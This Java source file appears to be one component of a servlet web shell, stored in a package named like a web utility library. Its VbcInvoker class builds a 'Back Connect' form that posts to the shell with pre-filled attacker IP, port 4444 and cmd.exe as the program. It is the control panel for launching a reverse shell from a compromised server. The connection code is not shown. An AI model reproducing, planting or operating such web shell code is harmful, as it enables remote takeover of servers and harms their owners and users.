package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

//VBackConnect
public class VbcInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            PrintWriter out = response.getWriter();
            Object ip = session.getAttribute("ip");
            Object port = session.getAttribute("port");
            Object program = session.getAttribute("program");
            Object done = session.getAttribute("done");
            session.removeAttribute("ip");
            session.removeAttribute("port");
            session.removeAttribute("program");
            session.removeAttribute("done");
            if (Utils.isEmpty(ip))
                ip = request.getRemoteAddr();
            if (Utils.isEmpty(port) || !Utils.isInteger(port.toString()))
                port = "4444";
            if (Utils.isEmpty(program))
                program = "cmd.exe";
            if (!Utils.isEmpty(done))
                Utils.outMsg(out, done.toString());
            out.println("<form action=\"" + SHELL_NAME + "\" method=\"post\">" +
                    "<input type=\"hidden\" name=\"o\" value=\"backConnect\">" +
                    "  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">" +
                    "  <tr>" +
                    "    <td><h2 id=\"Bin_H2_Title\">Back Connect &gt;&gt;</h2>" +
                    "      <div id=\"hOWTm\">" +
                    "      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">" +
                    "      <tr align=\"center\">" +
                    "        <td style=\"width:5%\"></td>" +
                    "        <td  align=\"center\">Your Ip :" +
                    "          <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\"" + ip + "\" />" +
                    "          Your Port :" +
                    "          <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\"" + port + "\" />Program To Back :" +
                    "          <input name=\"program\" id=\"program\" type=\"text\" value=\"" + program + "\" class=\"input\" size=\"20\" value=\"d\" /></td>" +
                    "      </tr>" +
                    "      <tr align=\"center\">" +
                    "        <td colspan=\"2\"><br/>" +
                    "          <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />" +
                    "    </td>" +
                    "    </tr>" +
                    "	</table>" +
                    "    </div>" +
                    "</td>" +
                    "</tr>" +
                    "</table>" +
                    "</form>");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}